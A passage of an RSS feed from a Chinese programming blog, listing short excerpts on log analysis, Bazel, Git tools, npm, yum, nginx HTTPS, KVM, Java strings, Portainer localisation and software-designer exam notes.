      <description>目录&#xA;Windows事件日志分类&#xA;Windows日志分析方法&#xA;Linux日志简介&#xA;Linux日志分析技巧&#xA;Web服务器日志(windows)&#xA;日志用来记录系统、程序运行中发生的各种事件，有助于定位问题的根本原因。不同的操作系统、程序都有不同的日志， 如：Linux系统日志、Windows系统日志、MySQL数据库日志、mssql数据库日志以及&#xA;各种WEB日志(如apache、tomcat、nginx日志等)&#xA;Windows事件日志分类 系统日志、应用程序日志、安全日志&#xA;Windows日志分析方法 1.查看管理员登陆时间、用户名是否存在异常&#xA;（1）不借助工具&#xA;开始——&amp;gt;所有程序——&amp;gt;管理工具——&amp;gt;事件查看器&#xA;window+R，输入“eventvwr.msc”，进入事件查看器&#xA;对于Windows事件日志分析，不同的EVENT ID 代表不同意义，每个成功登录的事件都会标记一个登录类型，不同登陆类型代表不同方式。&#xA;事件ID说明4624登陆成功4625登陆失败4634注销成功4647用户启动的注销4672使用超级用户(如，管理员)进行登录4720创建用户 登陆类型描述说明2交互式登录用户在本地进行登录3网络最常见的情况就是连接到共享文件夹或共享打印机4批处理通常表明某计划任务启动5服务每种服务都被配置在某个特定的用户账号下运行7解锁屏保解锁8网络明文登录的密码在网络上是通过明文传输的，如FTP9新凭证使用带/Netonly参数的RUNAS命令运行一个程序10远程交互通过终端服务，远程桌面或远程协助访问计算机11缓存交互以一个域用户登录而又没有域控制器可用 2.借助工具Event Log Explorer&#xA;Linux日志简介 Linux日志默认存放位置：/var/log/&#xA;查看日志配置情况：more/etc/rsyslog.conf&#xA;Linux日志分析技巧 grep(egrep)、awk、sed文本编辑三剑客，可以按照用户的需求，过滤出用户有价值的信息&#xA;第一条：查找登录root账号失败的事件，从/var/log/secure文件中，只显示第11行信息(ip)，然后排序sort，去重计数，再排序，more分屏显示。&#xA;Web服务器日志(windows) Web服务器为例，其日志包括：安全日志、系统日志、应用程序日志、WWW日志、FTP日志等。eventvwr.msc打开事件查看器进行查看。&#xA;(1).安全日志文件:C:\WINDOWS\system32\config\SecEvent.Evt&#xA;(2).系统日志文件:C:\WINDOWS\system32\config\SysEvent.Evt&#xA;(3).应用程序日志文件:C:\WINDOWS\system32\config\AppEvent.Evt&#xA;(4).FTP日志默认位置:C:\WINDOWS\system32\Logfiles\MSFTPSVC1&#xA;(5).WWW日志默认位置:C:\WINDOWS\system32\Logfiles\W3SVC1&#xA;补充：&#xA;以上都是单机模式，如果架构比较大的时候，n台服务器，需要用一个log server统一管理日志。&#xA;ELK&#xA;logstash负责对日志进行过滤，Elasticsearch对日志处理，Kibana通过图像界面展示出来&#xA;图片非原创，视频学习时截取，方便自己查看</description>
    </item>
    <item>
      <title>前端免费API接口</title>
      <link>https://bchobby.github.io/posts/7ef00435cef369797c492f49d07f6571/</link>
      <pubDate>Wed, 17 Aug 2022 16:53:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ef00435cef369797c492f49d07f6571/</guid>
      <description>本文主要是统计前端可以免费使用的API接口信息，商用（不以盈利为目的）需缴费使用；反之，则可以免费使用，有些接口会有次数限制，会单独注明。&#xA;一、北京时间 1、便民查询接口(传送门) 1)、接口返回值 window.baidu_time({ &#34;time&#34;: 1650790777162.8 }) 2)、示例代码 (function () { // 时间正则 年月日时分秒 // const TIME_FORMAT = &#34;{0}-{1}-{2} {3}:{4}:{5}&#34;; const TIME_FORMAT = &#34;{0}\u5e74{1}\u6708{2}\u65e5 {3}:{4}:{5}&#34;; // 北京时间为东八区时间，所以比格里尼治时间（世界时）早8个小时，即：北京时间 = 世界时 + 8小时 const TIME_ZONE = +8; // 更新日期时间定时器 let updateDateTimeTimer = null; // 将日期时间转为标准的日期时间 function formatTime(str, arr) { return str.replace(/{(\d)}/g, (value, index) =&amp;gt; { return arr[index]; }); } // 前缀补零，默认数字不大于10的时候前面补零 function prefixZero(num, size = 10) { return num &amp;lt; size ?</description>
    </item>
    <item>
      <title>在 Ubuntu 上安装 Bazel</title>
      <link>https://bchobby.github.io/posts/002e1a8a48b9c19bd0c89f69aabe157e/</link>
      <pubDate>Wed, 17 Aug 2022 14:46:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/002e1a8a48b9c19bd0c89f69aabe157e/</guid>
      <description>在 Ubuntu 上安装 Bazel 链接: https://github.com/bazelbuild/bazel&#xA;本页面介绍了在 Ubuntu 上安装 Bazel 的选项。 此外，它还提供指向 Bazel 完成脚本和二进制安装程序的链接（如果需要），例如，如果您没有管理员访问权限。&#xA;支持的 Ubuntu Linux 平台：&#xA;18.04 (LTS)&#xA;16.04 (LTS)&#xA;20.04（LTS）&#xA;Bazel 应该与其他 Ubuntu 版本和 Debian“stretch”及更高版本兼容，但未经测试，不能保证正常运行。&#xA;使用以下方法之一在 Ubuntu 上安装 Bazel：&#xA;建议：使用 Bazelisk&#xA;使用我们的自定义 APT 代码库&#xA;使用二进制安装程序&#xA;从源代码编译 Bazel&#xA;注意：对于基于 ARM 的系统，APT 代码库不包含 arm64 版本，也没有可用的二进制文件安装程序。请使用 Bazelisk ，或从源代码进行编译。&#xA;Bazel 附带两个完成脚本。安装 Bazel 后，您可以执行以下操作：&#xA;访问 bash 完成脚本&#xA;安装 zsh 完成脚本&#xA;第 1 步：添加 Bazel 分发 URI 作为软件包源 使用 Bazel 的 apt 代码库</description>
    </item>
    <item>
      <title>几款常用的Git图形化工具</title>
      <link>https://bchobby.github.io/posts/b547ab9835182e1366ad8f2e5eb76ab3/</link>
      <pubDate>Wed, 17 Aug 2022 14:22:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b547ab9835182e1366ad8f2e5eb76ab3/</guid>
      <description>几款常用的Git图形化工具 独立客户端工具GitHub for DesktopSource TreeTortoiseGit IDE集成的Git客户端XcodeEclipse – EgitVisual Studio – Git Integration &amp;amp; GitHub ExtensionVisual Studio Code 原文链接 作为一名开发人员，你不可能不知道git，无论你是开发自己的开源项目还是和团队一起进行大规模产品的开发，git都已经是源代码管理工具的首选。当然，那些hardcore developer会说，command line才是最好的工具，但并不是所有的时候command line都是高效的（不服？在command line里面做个compare试试你就知道了）。小编日常用的最多的也是command line，但是总还是会把几个好用的GUI Git客户端放在手边备着。&#xA;独立客户端工具 GitHub for Desktop 全球开发人员交友俱乐部提供的强大工具，功能完善，使用方便。对于使用GitHub的开发人员来说是非常便捷的工具。界面干净，用起来非常顺手，上面的这条timeline非常漂亮，也可以直接提交PR。&#xA;唯一让我失望的是GitHub for Desktop不带三方合并工具，你必须自己手动解决冲突才可以。&#xA;免费同时支持 Windows 和 Mac：对于需要经常在不同的操作系统间切换的开发人员来说非常方便漂亮的界面：作为每天盯着看的工具，颜值是非常重要的支持Pull Request：直接从客户端提交PR，很方便Timeline 支持：直接在时间线上显示每次提交的时间点和大小支持git LFS：存储大文件更加节省空间和高效不支持三方合并：需要借助第三方工具才行 Source Tree SourceTree是老牌的Git GUI管理工具了，也号称是最好用的Git GUI工具。我的体验是确实强大，功能丰富，基本操作和高级操作都设计得非常流畅，适合初学者上手。&#xA;这个工具很有特色的一个功能就是支持Git Flow，你可以一键创建Git Flow的工作流。Git Flow是非常高效的团队协作模型和流程，Git的一大特色就是灵活轻量的分支，但如何在自己的团队中用好这个功能来匹配自己的研发流程是个问题。内置Git Flow让那些不太熟悉的开发人员也可以很快上手，并且将研发的业务流程固化在工具中，可以说是非常贴心的设计。&#xA;在 Windows 环境下，SourceTree是多语言的，但是不知道为什么我的Mac版总是显示英文。&#xA;免费功能强大：无论你是新手还是重度用户，SourceTree 都会让你觉得很顺手。对于非常重度用户，Source Tree还支持自定义脚本的执行同时支持 Windows 和 Mac 操作系统同时支持 Git 和 Mercurial 两种 VCS内置GitHub, BitBucket 和 Stash 的支持：直接绑定帐号即可操作远程repo TortoiseGit 对这只小乌龟估计没有开发人员会不认识，SVN的超广泛使用也使得这个超好用的Svn客户端成了几乎每个开发人员的桌面必备软件。小乌龟只提供Windows版本，提供中文版支持的，对于中国的开发者来说者绝对是福音。</description>
    </item>
    <item>
      <title>node npm</title>
      <link>https://bchobby.github.io/posts/06fa7c0bb2f36ae5d12ff9a004204373/</link>
      <pubDate>Wed, 17 Aug 2022 11:20:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06fa7c0bb2f36ae5d12ff9a004204373/</guid>
      <description>npm warn config global --global, --local are deprecated. use --location=global instead.&#xA;问题出现在，以前版本npm的命令一般时XXX -g 但是随着版本更替，这个老方法被弃用了，这时我们需要修改两个文件npm和npm.cmd&#xA;修改完成后，重新打开cmd,npm -v就不会报错了(如果还报错，可以尝试重启电脑一下)&#xA;但是， 在使用npm一些常用命令时，使用XXX -g 还是会报错，这是由于高版本-g命令已经被弃用，所以应该使用现有方法XXX --location=global&#xA;其实报错内容就告诉我们了，npm WARN 配置全局 ‘–global’， ‘–local’ 已弃用。&#xA;请改用“–location=global”。&#xA;例如：&#xA;npm install express -g&#xA;npm install express --location=global //安装常用express模块</description>
    </item>
    <item>
      <title>M1 MacBook安装LGB，报错：‘/usr/lib/libomp.dylib‘ (no such file)的解决办法</title>
      <link>https://bchobby.github.io/posts/81d22a9096229de565c8b12d318787e5/</link>
      <pubDate>Wed, 17 Aug 2022 09:56:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81d22a9096229de565c8b12d318787e5/</guid>
      <description>pip install lightgbm&#xA;jupyter lab的notebook中执行&#xA;会报错OSError: dlopen(/Users/lihuilong/opt/anaconda3/lib/python3.9/site-packages/lightgbm/lib_lightgbm.so, 0x0006): Library not loaded: &#39;/usr/local/opt/libomp/lib/libomp.dylib&#39; Referenced from: &#39;/Users/lihuilong/opt/anaconda3/lib/python3.9/site-packages/light&#xA;import lightgbm as lgb lgb_classifier = lgb.LGBMClassifier() 看了很多教程都不太能用，还修改了PATh路径下载。&#xA;最后用虚拟conda环境中重新安装才可以使用。&#xA;conda install lightgbm import lightgbm as gbm&#xA;摘自：【老码农随心记】Mac安装LGB，报错：&#39;/usr/lib/libomp.dylib&#39; (no such file)的解决办法 - 腾讯云开发者社区-腾讯云</description>
    </item>
    <item>
      <title>【Bug解决】yum提示Another app is currently holding the yum lock； waiting for it to exit...</title>
      <link>https://bchobby.github.io/posts/7870929eef6ababb92f92f0dfc5a63f1/</link>
      <pubDate>Wed, 17 Aug 2022 09:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7870929eef6ababb92f92f0dfc5a63f1/</guid>
      <description>项目场景： 通过CentOS 7 ✖64位系统安装软件包&#xA;问题描述 今天想要尝试通过centos 7来制作一个小游戏,结果安装相应软件包时出现报错&#xA;出现的问题是：“Another app is currently holding the yum lock; waiting for it to exit...”&#xA;这句话的意思就是有一个应用程序正在锁定yum，等待退出&#xA;yum命令报错代码：&#xA;Another app is currently holding the yum lock; waiting for it to exit... 另一个应用程序是：PackageKit 内存： 31 M RSS （451 MB VSZ） 已启动： Wed Aug 17 09:08:40 2022 - 00:59之前 状态 ：睡眠中，进程ID：2833 解决办法:1|rm -f /var/run/yum.pid 然后重新运行yun命令即可 原因分析： 可能是系统自动升级正在运行，yum在锁定状态中，要等待那个进程结束退出:&#xA;看报错的那一段话：&#xA;Another app is currently holding the yum lock; waiting for it to exit.</description>
    </item>
    <item>
      <title>腾讯云http域名升级为https</title>
      <link>https://bchobby.github.io/posts/23258edd0b88654c85616091deb43f0d/</link>
      <pubDate>Wed, 17 Aug 2022 08:59:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23258edd0b88654c85616091deb43f0d/</guid>
      <description>场景：&#xA;在学习做微信小程序开发的过程中，在本地开发完成后需要把小程序部署上线。将小程序部分上传至服务器后，同时小程序内部调用的后端服务接口也需要部署到自己的云服务器上。早就了解到小程序调用后端服务接口不能通过IP去调用，还需要用到域名。有了域名还不行，你还需要在小程序开发中平台中-开发设置-服务器域名 中配置request 合法域名。配置时候你会发现，不经需要域名，而且还需要https 开头的域名。于是只能将腾讯云http域名升级为https；&#xA;准备：&#xA;腾讯云http域名、SSL证书、Nginx服务器。&#xA;过程：&#xA;1，腾讯云平台内购买的.cn 域名；&#xA;在腾讯云平台内-我的域名，找到指定域名后添加解析（即将域名映射到你的服务器IP，从此访问域名访问你的服务器了）&#xA;2，下载SSL证书；&#xA;通过网上搜索可以找到其他下载免费证书的地方进行证书的下载，&#xA;我就在腾讯云平台内搜索【我的证书】进行了免费证书的申请，有效期1年的。按照提示步骤完成证书的申领；&#xA;3，证书的部署安装&#xA;腾旭云平台内 ：文档中心 &amp;gt; SSL 证书 &amp;gt; 证书安装 &amp;gt; 一键 HTTPS&#xA;找到SSL证书安装部署。我选择的是通过Nginx 安装。&#xA;腾讯云 Nginx 服务器 SSL 证书安装部署官方文档教程&#xA;将免费申领的证书下载下来，上传至服务器后解压；参照文档进行Nginx 配置文件的修改；启动Nginx服务器，即可通过Https 访问；（https默认端口为443）启动或者验证配置的过程中可能会出现错误，复制错误信息网上都能找到解决办法。常见错误为 未安装ssl模块； 贴上本人的Nginx配置：&#xA;server { #listen 80; #server_name localhost; #SSL 默认访问端口号为 443 listen 443 ssl; #请填写绑定证书的域名 server_name codelead.cn; #请填写证书文件的相对路径或绝对路径 ssl_certificate /usr/local/nginx/data/codelead.cn_nginx/codelead.cn_bundle.crt; #请填写私钥文件的相对路径或绝对路径 ssl_certificate_key /usr/local/nginx/data/codelead.cn_nginx/codelead.cn.key; ssl_session_timeout 5m; #请按照以下协议配置 ssl_protocols TLSv1.2 TLSv1.3; #请按照以下套件配置，配置加密套件，写法遵循 openssl 标准。 ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE; ssl_prefer_server_ciphers on; location / { root /home/ruoyi/projects/ruoyi-ui/dist; try_files $uri $uri/ /index.</description>
    </item>
    <item>
      <title>kvm学习笔记</title>
      <link>https://bchobby.github.io/posts/82e7b38334d0f81966495231a77e7578/</link>
      <pubDate>Tue, 16 Aug 2022 23:28:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82e7b38334d0f81966495231a77e7578/</guid>
      <description>KVM 1、 虚拟化技术分类 1 平台虚拟化&#xA;2 资源虚拟化&#xA;3 应用程序虚拟化&#xA;2、 平台虚拟化技术分类 虚拟机中运行的操作系统为guest os，运行虚拟机监控器的操作系统称之为host os。运行虚拟机的真实系统称之为主机系统。 1、操作系统级虚拟化&#xA;openvz:最便宜的vps平台。共用宿主机的内核。&#xA;2、部分虚拟化&#xA;vmm只模拟部分底层硬件&#xA;3、全虚拟化&#xA;模拟了完整的底层硬件，包括处理器、物理内存、时钟、外设等。（特权CR3寄存器）&#xA;4、超虚拟化&#xA;是一种修改guest os部分访问特权状态的代码以便直接与vmm交互的技术。部分硬件接口以软件的形式提供给客户机操作系统，通过hypercall的方式提供。&#xA;5、硬件辅助虚拟化&#xA;借助硬件的支持来实现搞笑的全虚拟化。&#xA;3、 KVM 架构 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vTugjA7E-1660663650853)(C:\Users\heistester\Desktop\kvm.png)]&#xA;4、 KVM架构解析 kvm针对运行在x86硬件上的、驻留在内核中的虚拟化基础结构。KVM是作为内核模块实现的，只要linux加载该模块就会成为一个hypervisor。 5、 KVM软件安装 1、查看cpu是否支持vt技术 cat /proc/cpuinfo | grep -E ‘vmx|svm’&#xA;2、卸载kvm yum remove rpm -qa |egrep &#39;qemu|virt|KVM&#39; -y&#xA;rm -rf /var/lib/libvirt/ /etc/libvirt/&#xA;3、安装软件 yum install -y qemu virt librbd1-devel&#xA;qemu-KVM: 主包&#xA;libvirt：API接口&#xA;virt-manager: 图形化管理程序&#xA;kvm技术，应用到qemu+kvm kvm负责cpu虚拟化+内存虚拟化，实现了cpu和内存的虚拟化，但不能模拟其他设备 qemu是模拟IO设备（网卡+磁盘...）。 libvirt是调用kvm虚拟化技术的接口管理工具。 4、启动服务 systemctl start libvirtd</description>
    </item>
    <item>
      <title>Java基础知识----字符串</title>
      <link>https://bchobby.github.io/posts/c8fdaa5597e1df72f46126df012cf074/</link>
      <pubDate>Tue, 16 Aug 2022 21:28:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8fdaa5597e1df72f46126df012cf074/</guid>
      <description>一、创建字符串 1、声明字符串&#xA;在Java语言中的字符串必须在一对“ ”（双引号）之内。&#xA;例如：&#xA;&#34;33&#34;、&#34;Hello&#34;、&#34;世界&#34;&#xA;2、创建字符串&#xA;String类即字符串类型，并不是Java的基本数据类型，但可以像基本数据类型一样使用，用双引号括起来进行声明。&#xA;（1）String（char a[]）用数组创建字符串&#xA;char arr[]={&#39;n&#39;,&#39;b&#39;,&#39;a&#39;}; String str=new String(arr); //以上操作相等于 String str=new String(&#34;nba&#34;); （2）String（char a[],int offset,int length）提取字符数组&#xA;offset开始提取字符的位置，length提取字符的长度。&#xA;char arr[]={&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;,&#39;f&#39;,g}; String str=new String(arr,2,4); //以上操作相等于 String str=new String(&#34;cdef&#34;); （3）String str=&#34;value&#34; String str=new String(&#34;abcd&#34;); 二、连接字符串 1、连接多个字符串&#xA;使用“+”运算符可完成对多个字符串连接的功能。&#xA;String str1=&#34;aa&#34;; String str2=&#34;bb&#34;; String str=str1+str2; System.out.println(str); //输出结果：aabb 2、连接其他数据类型&#xA;字符串也可同其他基本数据类型进行连接。&#xA;String str1=&#34;葫芦娃&#34;; int i=7; String str2=&#34;兄弟&#34;; System.out.println(str1+i+str2); //输出结果：葫芦娃7兄弟 三、获取字符串信息 1、获取字符串长度&#xA;使用String类的length()方法可获取声明的字符串对象的长度。&#xA;语法如下： str.length();&#xA;String str1=&#34;Hello World&#34;; int str=str1.length(); System.</description>
    </item>
    <item>
      <title>字符串与base64相互转化</title>
      <link>https://bchobby.github.io/posts/5cffde95eb35cef47c4404dce44f43c9/</link>
      <pubDate>Tue, 16 Aug 2022 19:54:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cffde95eb35cef47c4404dce44f43c9/</guid>
      <description> // btoa()：字符串或二进制值转为Base64编码 // atob()：Base64编码转为原来的编码 // 字符串转base64 export function baseToa(str) { // 对字符串进行编码 var encode = encodeURI(str) // 对编码的字符串转化base64 var base64 = btoa(encode) return base64 } // base64转字符串 export function strTob(base64) { // 对base64转编码 var decode = atob(base64) // 编码转字符串 var str = decodeURI(decode) return str } </description>
    </item>
    <item>
      <title>前端解决百度地图地址逆解析（BMap.Geocoder()）异步问题</title>
      <link>https://bchobby.github.io/posts/30a5144d4cde7b52602dc553dfee5fa9/</link>
      <pubDate>Tue, 16 Aug 2022 17:53:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30a5144d4cde7b52602dc553dfee5fa9/</guid>
      <description>前端解决百度地图地址逆解析（BMap.Geocoder()）异步问题 需求：将接口返回的坐标数据转换成详细的地址并渲染在页面上 问题：页面先渲染，地址后解析，导致渲染时没有数据显示 解决方法：new Promise() // 处理导出轨迹明细地址解析异步操作 getPosition(data) { return new Promise((resolve, reject) =&amp;gt; { const temp = {}; let point = new BMap.Point(data.longitude, data.latitude); let geoc = new BMap.Geocoder(); geoc.getLocation(point, (result) =&amp;gt; { let addr = result.addressComponents; var full_address = addr.city + addr.district + addr.street + addr.streetNumber; temp.position = full_address; return resolve(temp); }); }); } 在想要获取转换后的地址数据的地方调用&#xA;exportFu() { var params = { imei: this.imei, start_time: start, end_time: end, }; this.</description>
    </item>
    <item>
      <title>io,nio,aio总结</title>
      <link>https://bchobby.github.io/posts/89e25e0d29a5543a042497d54ee85531/</link>
      <pubDate>Tue, 16 Aug 2022 17:18:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89e25e0d29a5543a042497d54ee85531/</guid>
      <description>I/O简介 I/O（Input/Outpu） 即输入／输出 。&#xA;我们先从计算机结构的角度来解读一下 I/O。&#xA;根据冯.诺依曼结构，计算机结构分为 5 大部分：运算器、控制器、存储器、输入设备、输出设备。&#xA;输入设备（比如键盘）和输出设备（比如显示器）都属于外部设备。网卡、硬盘这种既可以属于输入设备，也可以属于输出设备。&#xA;输入设备向计算机输入数据，输出设备接收计算机输出的数据。&#xA;从计算机结构的视角来看的话， I/O 描述了计算机系统与外部设备之间通信的过程。&#xA;我们再先从应用程序的角度来解读一下 I/O。&#xA;根据大学里学到的操作系统相关的知识：为了保证操作系统的稳定性和安全性，一个进程的地址空间划分为 用户空间（User space） 和 内核空间（Kernel space ） 。&#xA;像我们平常运行的应用程序都是运行在用户空间，只有内核空间才能进行系统态级别的资源有关的操作，比如文件管理、进程通信、内存管理等等。也就是说，我们想要进行 IO 操作，一定是要依赖内核空间的能力。&#xA;并且，用户空间的程序不能直接访问内核空间。&#xA;当想要执行 IO 操作时，由于没有执行这些操作的权限，只能发起系统调用请求操作系统帮忙完成。&#xA;因此，用户进程想要执行 IO 操作的话，必须通过 系统调用 来间接访问内核空间&#xA;我们在平常开发过程中接触最多的就是 磁盘 IO（读写文件） 和 网络 IO（网络请求和响应）。&#xA;从应用程序的视角来看的话，我们的应用程序对操作系统的内核发起 IO 调用（系统调用），操作系统负责的内核执行具体的 IO 操作。也就是说，我们的应用程序实际上只是发起了 IO 操作的调用而已，具体 IO 的执行是由操作系统的内核来完成的。&#xA;当应用程序发起 I/O 调用后，会经历两个步骤：&#xA;内核等待 I/O 设备准备好数据内核将数据从内核空间拷贝到用户空间。 同步/异步，阻塞/非阻塞 同步和异步关注的是消息通信机制.&#xA;同步是指: 发送方发出数据后, 等待接收方发回响应后才发下一个数据包的通讯方式. 就是在发出一个调用时, 在没有得到结果之前, 该调用就不返回, 但是一旦调用返回, 就得到返回值了. 也就是由&#34;调用者&#34;主动等待这个&#34;调用&#34;的结果.&#xA;异步是指: 发送方发出数据后, 不等待接收方发回响应, 接着发送下个数据包的通讯方式.</description>
    </item>
    <item>
      <title>Docker轻量级可视化工具Portainer汉化教程</title>
      <link>https://bchobby.github.io/posts/d826e9ca73820dc6a82503be1b6c125a/</link>
      <pubDate>Tue, 16 Aug 2022 16:45:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d826e9ca73820dc6a82503be1b6c125a/</guid>
      <description>1.Portainer 的主要用途与介绍 Portainer 是一个用于管理容器化应用程序的开源工具。它在数据中心和边缘与Kubernetes、Docker、Docker Swarm、Azure ACI一起使用。&#xA;Portainer 消除了与编排器相关的复杂性，因此任何人都可以管理容器。它可用于部署和管理应用程序、观察容器的行为并提供广泛部署容器所需的安全性和治理。&#xA;Portainer CE（开源）受到全球超过 500,000 名用户的信赖。Portainer Business建立在开源基础之上，使组织能够大规模运行容器化应用程序，而无需雇用新人员或重新培训现有团队。&#xA;2.汉化过程 1.创建 portainer 工作目录 mkdir -p /data/portainer/data /data/portainer/public 2.进入Portainer文件夹 cd /data/portainer 3.下载汉化文件 wget https://labx.me/dl/4nat/public.zip 网盘下载：https://pan.baidu.com/s/1SJSB732KZOFjrpkARxYpMw?pwd=1q0l&#xA;提取码：1q0l&#xA;4.解压汉化文件 unzip public.zip 5.安装Portainer docker run -d --restart=always --name portainer -p 9000:9000 -v /var/run/docker.sock:/var/run/docker.sock -v /data/portainer/data:/data -v /data/portainer/public:/public portainer/portainer:latest 或者&#xA;docker run -d -p 8000:8000 -p 9000:9000 --name portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer 本文结束，Good Luck</description>
    </item>
    <item>
      <title>软件设计师备考笔记</title>
      <link>https://bchobby.github.io/posts/d109471c13c602404c7b56c68e6eb4a7/</link>
      <pubDate>Tue, 16 Aug 2022 16:14:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d109471c13c602404c7b56c68e6eb4a7/</guid>
      <description>1.程序设计语言 1.1后缀表达式 1.已知中缀式（a-b）*c+d,求后缀式，可以用二叉树表示&#xA;​ 中缀表达式对应中序遍历，后缀式对应后序遍历&#xA;2.逻辑与运算优先级高于逻辑或运算&#xA;1.2传值与传址 1.传值：将实参的值传递给形参，实参可以是表达式（常量），也可以是变量（或数组元素），这种传递时单方向的，形参不能再将值传回给实参&#xA;2.传址：将实参的地址传给形参，实参必须是变量（数组名或数组元素），不能是表达式（常量），被调用函数中对形式参数的修改实际上就是对实际参数的修改，因此客观上可以实现数据的双向传递&#xA;1.3中间代码 1.中间代码的表达形式有语法树，后缀式，三地址代码&#xA;2.计算机组成与体系结构 2.1中断向量 1.中断向量提供中断服务程序入口地址，中断向量表：用来保存歌个中断源的中断服务程序的入口地址&#xA;2.2层次化储存体系 1.DRAM:动态随机存取器存储器，又叫主存，是与CPU直接交换数据的内部存储器。它可以随时读写（刷新时除外)，而且速度很快，通常作为操作系统或其他正在运行中的程序的临时数据存储媒介，通过周期性刷新来保持数据的存储器件，断电丢失。&#xA;SRAM:静态随机存取器存储器，静态随机存取存储器是随机存取存储器的一种。所谓的”静态&#34;，是指这种存储器只要保持通电，里面储存的数据就可以恒常保持。&#xA;FLASH:闪存，特性介于EPROM和EEPROM之间，类似于EEPROM，也可以使用电信号进行信息的擦除操作。整块闪存可以在数秒内删除。&#xA;EEPROM:电擦除可编程的只读存储器，于EPROM相似，EEPROM中的内容既可以读出，也可以进行改写。&#xA;2.3CISC与RISC 1.RISC适合流水线，精简指令集系统计算机简称，使用简单的指令，多寄存器寻址，在实现过程中增加通用寄存器，采用硬布线逻辑（组合逻辑控制器）&#xA;2.CISC不适合流水线，复杂指令，不需要采用很多通用寄存器，采用微码（微程序）实现&#xA;3.信息安全 3.1防火墙 1.包过滤防火墙工作在网络协议IP层，它只对IP包的源地址、目标地址及相应端口进行处理，因此速度比较快，能够处理的并发连接比较多，缺点是对应用层的攻击无能为力，包过滤成本与它的安全性能没有因果关系，而应用程序和用户对于包过滤的过程并不需要了解，因此该技术对应用和用户是透明的。&#xA;2.代理服务器防火墙将收到的IP包还原成高层协议的通讯数据，比如http连接信息，因此能够对基于高层协议的攻击进行拦截。缺点是处理速度比较慢，能够处理的并发数比较少，所以不能提高网络整体性能，而代理对于用户认证可以设置。&#xA;3.数字签名是对签名真实性的保护&#xA;3.2网络攻击 1.DoS是Denial of Service的简称，即拒绝服务，造成DoS的攻击行为被称为DoS攻击，其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。举例：街头的餐馆是为大众提供餐饮服务，如果一群地痞流氓要DoS餐馆的话，手段会很多，比如霸占着餐桌不结账，堵住餐馆的大门不让路，骚扰餐馆的服务员或厨子不能干活，SYN Flooding攻击便是Dos攻击的典型代表，该攻击以多个随机的源主机地址向目的路由器发送SYN包，而在收到目的路由器的SYNACK后并不回应，这样，目的路由器就为这些源主机建立了大量的连接队列，而且由于没有收到ACK一直维护着这些队列，造成了资源的大量消耗而不能向正常请求提供服务，甚至导致路由器崩溃。服务器要等待超时(Time Out)才能断开已分配的资源。&#xA;2.特洛伊木马：寄宿在计算机里的一种非授权的远程控制程序&#xA;4.软件工程 4.1软件维护相关概念 1.在软件外部，可以用MTTR来度量软件的可维护性，它指出处理一个有错误的软件需要花费的平均时间。如果用M表示可维护性指标，那么M=1/(1+MTTR)。MTTF(1+MTTF)一般用来表示可靠性或可用性指标。MTBF/(1+MTBF)用来度量可用性&#xA;2.MTTF(平均失效前时间) MTTR（平均恢复前时间）MTBF（平均失效间隔时间&#xA;4.2黑盒测试 1.测试用例不能同时覆盖俩个无效等价类&#xA;2.测试用例应尽可能多地覆盖尚未被覆盖的有效等价类，重复至所有有效等价类都被覆盖为止&#xA;4.3软件质量保证 1.McCall软件质量模型从软件产品的运行、修正和转移三个方面确定了11个质量特性，其中运行方面包含了正确性、可靠性、效率、完整性、使用性这些质量特性。修正方面包含了维护性、测试性、灵活性这3个质量特性。转移方面包含了维护性移植性、复用性、共运行性这3个质量特性。&#xA;2.[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jpFr22LT-1660637583639)(C:\Users\OMEN\AppData\Roaming\Typora\typora-user-images\image-20220420173300336.png)]&#xA;4.4 模块结构图 1.由模块，调用，数据，控制信息，和转接符号组成&#xA;4.5 软件容错技术 冗余技术一般包括时间冗余，信息冗余，结构冗余，冗余附加技术，结构冗余按照工作方法可以分为静态，动态和混合冗余&#xA;4.6 内聚性 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Grkhm5A-1660637583640)(C:\Users\OMEN\AppData\Roaming\Typora\typora-user-images\image-20220524201057676.png)]&#xA;4.7 耦合性 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YreeroxQ-1660637583641)(C:\Users\OMEN\AppData\Roaming\Typora\typora-user-images\image-20220525203134051.png)]&#xA;5.数据结构与算法基础 5.1排序 1.插入排序比较适合在数列基本有序时&#xA;2.计数排序对于整数排序复杂度低，快于任何比较排序算法&#xA;5.2二叉树的遍历 1.先序遍历：根左右， 中序遍历：左根右，后序遍历：左右根&#xA;2.平衡二叉树：它是一棵空树或它的左右两个子树的高度差的绝对值不超过1，并且左右两个子树都是一棵平衡二叉树。&#xA;3.完全二叉树：二叉树的高度为h，除第 h 层外，其它各层 (1～h-1) 的结点数都达到最大个数，第 h 层从右向左连续缺若干结点</description>
    </item>
    <item>
      <title>cacti断图-流量大/超过10G</title>
      <link>https://bchobby.github.io/posts/01a2b888c253c484c699e51b601de4ac/</link>
      <pubDate>Tue, 16 Aug 2022 15:22:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01a2b888c253c484c699e51b601de4ac/</guid>
